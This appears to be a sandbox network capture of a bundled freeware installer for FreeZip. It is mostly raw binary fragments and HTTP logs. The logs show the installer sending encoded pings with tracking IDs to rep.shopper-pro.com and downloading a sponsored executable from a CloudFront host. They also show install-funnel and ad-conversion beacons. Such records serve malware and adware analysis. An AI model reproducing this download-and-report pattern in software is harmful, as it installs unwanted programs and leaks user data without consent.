$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................
<<< skipped >>>


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=279962-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 839883

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 279962-1119844/1119845
.n....T.5.Y='...~.=:)...E5..c.?. p.3A.Y..h10.c2~2c.MU.........0...n.X.
...'<z..a.5!...23..%)..$/./......bN.%.SY.|.q.......CT..].K.}...S.N.
....%>..X.9K.v.. ...q.....|.T........m.....D...v..Xw..rbI..$...w...
.6<.co...&......N.|..R.....1......e...}L..OF..)v\w..]..H..x...!.@l.
.t..@..:-.vh8.h.*................Y8i.....e.A7z.#...n.;...8...*...j....
.9&.....?..#...n..U^k. T.:x.n...D.....luH.^.;...'4V.ak..d..q..9?P...k.
.w..Y...\......H...:MD:.T...$....U..%S2....t\. .HIR2.].......!w9..7..r
....#.....x......x....'..p`.....!.MA..:[email protected]."........H
.-..{.......n..&![..Yu....G.W....s..8..w|..?....G.O?.. ..BIq6....O....
.=. ......}..I..(..U....6..7 &..z...|....4t5..V0.$=.).T...`.........N.
[.,....L......\i.y...^...U;aF.{..".I..f.l.6,{....g,..-Z.|1...<Uw...
Z.U....e.b..g.. .W....t.Mw>..<.....>[email protected]]lWG..2u8
.....}8..."b...@f..|.W.S...."$|!.|=n..lO...CO.....J9=0.....'^;...Uh.@.
....*.......vTjy.6E....{S{2|.. .#..I.....].R.s.F0,s.Ed..=.A...*..."..o
.........'.?.../..$......]$,.G"..0..#....|...!WN[.%D............Ph..u.
M=.sr 0.re?..i.....4.06.? m.R....A..uj..o..@...:!s.U....&D.....f..nIC.
.....g$...[.{.6.X....x..{..<A.V?.J.._......f..xf.X.l.=.hL..s...^...
<....G....Vj..I..wh._....\ .d.I.B.*.uL.hC~.....O*.kux....5.y...]B..
[email protected]....%..n.lJ}....0.S.......ex..<6....]..o..=.un_~......N.
[email protected]._.F.;|g.OVv..p.. ....F/.s..u .|kM~m..;3...wC...
...~.8%.....m'....A.......b..0!. ..4...)L.h..B............=A.8.|)u.u..
4P.l....b..Z^...../..=..,.C.(..e2.K... 1[...^z....~...O..N..p2NM[&
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=3&index_in_screen=1&index_in_session=3&0.3575086845663361 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmc=1; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIb lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGIRZ1/hnxglE0lAjYLtCW4jc660fTemQkPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm/iEHc/4tbAA/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKO2hiPvjqy7KymrvcVl0Mf/w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIZe0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQzgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096/GI58s4qdMFCn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIbU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX/FowwLb8WZbSeBt3jxB9aapkCNzBoMgw6aVrgli9aT4UEmp2OsTSy3H/jy8G4FGJY4SiD403Los HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmORCMlh3l5QDlzMqADZ2OvYSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EpbLW Y9uI7YHEKKKBi1571KZ41CPq3IAdtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3NvgrB1VZh8CMsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBChr8gdm92vo7IQuZjicrqKlmYK5OMGoOmVI9bzsbYy5GhfHTqmjrz1Yt96j8Hn3PgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=yhrBLBbZM9WBOuidoZFbtcNTnuyhzCsUS8F/yrzxvGiRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablNM/OTSfAxpETFfEa7POv3dBPpL0iVh6pz0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WHcLb5rlPpW8m2J0WUeA93WyFYVCbp3 D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib IQdz/i1sAD90sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo5IOxXgf0cBoKau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=1ZEnpGuz/ISSsSz5Gin3VjtwOqvEtO32LkpWh6PodGYicvsFwQStENB87jgWTbK//EmjUQkbJhEL2UeWguV4D9X6v prVaYKtyBlCqpAbw8S4A3OSEz417o4IQ3JJ/8YLfpaYcwUXjumytkOxhhp1s6P8Px33yxMkgTqbaWGToUHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtec8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjTZZRhdPnykVA4NV4RhU9Lz38Km4JMgAXQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCC7nZonKtwTUZgZmyseeKtPZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcV2fwAkvrmVqyT2CoF3UtV0apTk4QCsQhmadpT4UtSGCs4164GCUCrFAp3QYSCRp VVnhFPR3bcYdw7RpAuou89nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDOBfHqErb4VGSixjOMNlnu//21OmrPJaED3PfUjq/T3r8Yjnyzip0weLmf6eHphUt9 inPTLZDtg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:07 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:07 GMT..Content-Length: 0......


GET /app/ping.ashx?e=aL/yzOcQGPnSR sqobBJuYW8YRMNt8VQ 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq7vv4g8eyszzJiqDUFiGk4RlkhDbG/CqQBV5BHVIeglKBRen/2tOqQlo8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib IQdz/i1sAD90sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo7GIYeYyU5rwaau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:08 GMT

Content-Length: 0
....



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Thu, 31 Jul 2014 09:37:58 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 250000-499999/7592848

Age: 57546

X-Cache: Hit from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9gmlcyVsPjG3SJEIVU4sdILzfy6uhVb2ICLgx5qgBcU8UFvWPqet4g==
.L.[(Y...p..Iju.p.<..)..V....Dm...x%...H2..\1|.NZ1.h.r.%.m"I.......
[email protected]/......w.h....../i..P.......:..L.H|..&.s....E.M[..H....V.
,[email protected]{.......z.g...=..i.G.........-f.x....9..]Oh.S..
M....K....Y.k$..ta.._k...6>|h.\..pH.l.../_Gba.>t. [email protected].
..T...t{Rz\z.}.. E2.B......xF..`[email protected]......
dQ.&jM.....IAX3.7.O..\....IH.R~......#.S..j]g.....%...&...5E...PF..3.;
......\M. c>'/.......Km..sRBX.....H...)@...F..ao.;h......3.FE......
.RX...U.C..k.E1...|f.*.u[.Q5... ..WpDRw.I.$D.......0...ti.....P.;...X]
.g..2.z..[1...R.H..0c...{.....Ey)[email protected].~n#.}?.....[W".<.F......{5..
...fU"/P..!...P<B....w.I.#..DS4:X"%.... ....|[email protected].....,...
M.o)...Eg.......n6..i.JJsYl.$..?.`....o.."........mA\.gX.....e~.....|.
.......M..G...?....?..._?.D..z...7A...&.....O....d.[.......[..........
.q.@p(J..m....t.P .JS.q...$~Y..U.&:...N a..X..L...tL...;.:.On......: Q
 ,{.=..A..d;...a.....*-6.`1...:|7..Y...../...(..). ^R.u..K...1P.n..k=c
CF......r..(M.Rr.E....J..!^...e.y...P.E../.w.N.T....].[.[....&..i..5.m
d..h.x...L.......Q..:.b..E._.V.$f...5..df.W.....'..{....~..' ZY4..2...
......."......f.?.@[email protected]$.4..L(.....YVZ.&..P....A.V..>.p..Sb.h.H
]B.....\h..t..8...u.o....Y.q..Y.......kK.U(.f.J5.3 .......; 4n......0.
k.......\.X.q............d.N..k.mgN$..F|\Dy.w..q."...m....^h.....L4...
..IH..vwW%;.c..2v`.....x..9.G.YjQ.W....C....AQR'...:......3.u.. ..D.n.
.a..S.Jmh.qFZ...).G%.m....c?...\..'t......b..z..._0.;z...$Z\s..Q......
4Ue_q.......D.YDN.i{..V.X...;H..K....Z.~....F....G.F=.zg..O..'..r.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Thu, 31 Jul 2014 09:37:58 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 750000-999999/7592848

Age: 57547

X-Cache: Hit from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5_P2tOgCpVyyhwtSRYNVzdjUvZoUslJl3wu06V1wWr46X6jhxQzxtA==
..h......3.L......Y2..v...i(......_..-..3......!...C..(...2......Q....
..A.l...x.Gd.a...F...w...q....D.E.....vw.H....o....C...c`.A...!......f
...J...U.....Cs... ...v....j......n........L.....FQi..7j..#...Q....W..
-..m..<e*.<.%n.\..[....Y.k.......kyV#......;......o....M.....i.f
..BZU,..L.5_VGn~V.:.$.C..[......f.O...h.........w]..E.T..r.~..~...f..8
..?TO..4.[....;-).WH....M.....D4.......d..Dein.g.<.A#I........7....
[email protected][email protected]"q.\.. 6u.j.....!x.B3...8>
......"F..;.8%.9.......x[......d<....o.........".P...)............H
..|.....l.K2a....d....<zi@e;=...%AG..Qxg8..zL...o..........h....px$
..;Y........}XL.K.p.70...C...B. ..ep..."......A......=NQ7.1>m.V..|M
f.`<..?.......F........3..t.:.......A..F..).....H........=.... :].'
..0..z....CY......,.e..Nq...Xojn]3.../.....}q....a......x...0._. ....?
N,...x.*.di..>>Jy.u;..rU{X...wY.sn.-.x.....*H.{FP......'...w....
..g(.._.).......F...._......i.O.o....,..&lP..Nb...0:F.N.....x.....p...
.......=p4.I....8.....W0.Z.....}.......7\.bJ.t|....Zh....y;..W...G,...
.......C...t=oa....N..9.....)....._..~..........-4.e......O.......v(K.
.w..B....ucN9.P...Q.....\..`...P*.q...S...d.{7..12...0k...G.....'4...L
W.Xn_..l;*..v...$y......):.nf..i...F..g..u6.].M.n.............-N.*Fl2.
.[..n$..,{..:9_.'..Z...........=J.(..1.-....W^...].S......O3..........
..j.X..'|_..k... t}..d.V...Tl...v.G..7.@.'C.zt.qp...1b......gGW...X$..
......&>..r]..8..........2hR!.79x.....b..].....o.p..L....NA....g.l.
{..yM&.}...(1...V...}....I............F1....!T&.&c.-..4E-.#._.f.@.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





vw)eG..`.....o........",.bZ.l.e.P..R.......1...V.c..i...X....E...sM.l.
-.c....nU.Xn.rWt._...1s...TS.U.\.M$....h..B....f...`.P"..2...D..3@y.&l
t;....O..c.#.m`.*@;.H..<.....qv>.{E....!Y.H...F..O.Q.D.(V..}'?.T
.q.. .e....a.....\...q...;......E..mkG...-.u}m7^...X.....>.}F..D2.&
...*[email protected]..;.....[...s@.
auA......U...J.l..5x..."..q..\3.....:i...(.LE.......,/U3..RU ........ 
....|..q.yY...S.-.......jf....0.......t.x ..2.. ....CAH.:K...r.1...o.z
....s.d....\........#T...Ho!.......F...Q....E.(...;q...j.R...&S .o.?d\
.0.{.....X..DUN.\.d..6..U..%.9..........j-<.0R..|u.SC.......@......
..Y..M"9.......aE.^..Y.K........)..Q...@e<...%.......n....N..w[?i#.
..^..`..q......g...."[email protected]:..8ib:...F..5G.A.5
h......n.Ubo.d|...6.%O......!Gb.8...b..8.l.7`E.v_.....[. .w..M.k~j....
./.i..|.HXnVur,mMQ.e...D'.....~..?0*.`....5...._..x.....<..........
h..a...Z.Lj.$z;u."%.......p.b.Hh\.$..q]...8........8......t:.:;.i..7be
...q3A.........q......o6...a..K..0....V<.r..d.9.&8K.K..z..Q!..B|]..
..[!..Vw3-.v.........2@.*f^..S..Y...:-.[..|O..A....6O..b..4m.4.:Aw0..W
.{6..9.G}..a....0.e....r..\....!.A...LJD.Y:;....;...U.A_.......r..(.:6
.D.te..R..N.,..>.....c..efE.......]..t}.x.....{..&.@=.MW...=.....?.
......0.m.C..?...#l,=*SZ5.$......J.x.Pf........"..8.i..:..  ./.'M...aI
......xw....^.H.%...e.*.R.....skr.z.#.\-.X.x.:...7k5.I....duP.!@..,.D.
~.pqb.[.Dd....H.XTu.........I....-....Y5i ...o..a.>I.....'....2XLf.
>...*.Y.|X.g.F..JG..). ....U^...(.%..\L-........?0..v5<<.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Thu, 31 Jul 2014 09:37:58 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5250000-5499999/7592848

Age: 57547

X-Cache: Hit from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Qc6W29nrTRsWK6t195vueYl8nBAS0E0VQP6-_LjTfbOWQI6FWsHKTg==
R.....%...q....t.6.N....j8....Uk...d.p.P.@)....g..U.?7...T..nXb....y}R
njog>..u....?.k..x.`.>........,..Q.A..:,WE.........4!H#..l.9!.DK
.8..#..........5?.$.F..0.;....P..Y..Z..9....1.}.`....... ..z!T8..m.i.k
..*,...Qa.$......>.T5....C...5.hP..D. .&..1...b......Pd.yE..*.7R-..
......~.......B......X.. n..r.(...R......3:TU^.CM..D.. .NU...|.S....Uv
Fl..!...b,..d;...=.s...pkFQ.;....%......E..$...........9..tK..#.!D... 
jk...%.m.M..V..Q'..1..aQd..l1...$.q..T*cw-....v...5..[`...B.[..,.)!..e
.....).Z..Y).0C..:...0N.dx...[ .pz..9...A.....ga.DH.)..[.#..l.%J...DYQ
14.e..7....3A..SC.......P......;....)...#.......>...hm...7.d.5 .jk.
g.y.aZd....~...3...j.j...Y.6.>..z.9.........M.....Gf......*......L.
b}......SEq........F..Y..U}[..d......i..S..aj..(8.$...-..t.....t9.....
.s.....;.'...K..NO..*..cO..(.......O..../#L../...p...0..A..]O7....@}W.
~...s.].3C...!.z>.....E.s.../..B.V..P=.@,}.:Q-...A=i....`....".9...
.2_7....w|.5/.c...=k.0..uC..UD7..........?...........s..p....,N..g.3..
X?k.&..p...VOz3gc>u........4.:...,.wK..FJB.&..n....>@..#P*....pB
}.n..B. .'^P..&..:>.IN...........x..'.)qM....h.c...zj_.."1*.)1.^..L
(..j.c..0O..`.i).9yM...O...l3...G..ghT...Q.....A.2...^..._.|......5~S.
s....K.{[email protected]....#@........f.[,............2.J...=..\..l.B
.g...=./.u..'...7.M.j../...(^.l. .cB.W.".z81..QHQ!q-...~........1F....
..........^.."....[v...5.W.V.e....GF..*._.|=.]........#.<..:u3T;.`l
)......9;..A....x.m.....T.~..^.0.WJ..& `....A..Hb.....W...z..n M....#H
...UIHW..5...[5..,..J.|.n.#d( ...hJ..%>.[...#[email protected]........
<<< skipped >>>


GET /ads/conversion/971163981/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3661455964 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com




HTTP/1.1 302 Found

Location: hXXp://VVV.google.com.ua/ads/conversion/971163981/?random=958746331&cv=7&fst=1422581381671&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3661455964&ipr=y

Cache-Control: private, max-age=43200

Date: Fri, 30 Jan 2015 01:29:21 GMT

Expires: Fri, 30 Jan 2015 01:29:21 GMT

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 950

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/ads/conversion/971163981/?rand
om=958746331&cv=7&fst=1422581381671&num=1&fmt=3&la
bel=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=90
1&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&
u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url
=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4%2
6VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&
VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&Bund
leID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_presen
t=false&cdct=2&convclickts=0&random=3661455964&ipr=y"&
gt;here</A>...</BODY></HTML>....
<<< skipped >>>


GET /utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1422581366 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: o6YBP6 0fvRT8tKoA/hzuV9MZHOX3ey8Vu33UYXbCX8LZFmdC7f2 z3ENTSonnQKQrrj0fq BgA=

x-amz-request-id: BB59D2D5AE09729A

Date: Fri, 30 Jan 2015 01:29:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: o6YBP6
 0fvRT8tKoA/hzuV9MZHOX3ey8Vu33UYXbCX8LZFmdC7f2 z3ENTSonnQKQrrj0fq BgA=
..x-amz-request-id: BB59D2D5AE09729A..Date: Fri, 30 Jan 2015 01:29:06 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1422581370 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: DVCMrE9SjpOYwCQPGDe9j5VtP4LHFu4vcA Et5q7wjzmTSoKWSXyP4kGcqxJjSZP0peX6 fv/w0=

x-amz-request-id: F92FF1A2AF423E65

Date: Fri, 30 Jan 2015 01:29:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:38:27 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1422581370 HTTP/1.1

Host: errors.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: GbksWNL uq6Wdrry10 V50b/d/Q5vJuwbtcKGS4JkLGbIv/Knf3frFp1bkmF/LXqaRXPAgZYqNE=

x-amz-request-id: 01FA5E1E69B8B042

Date: Fri, 30 Jan 2015 01:29:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

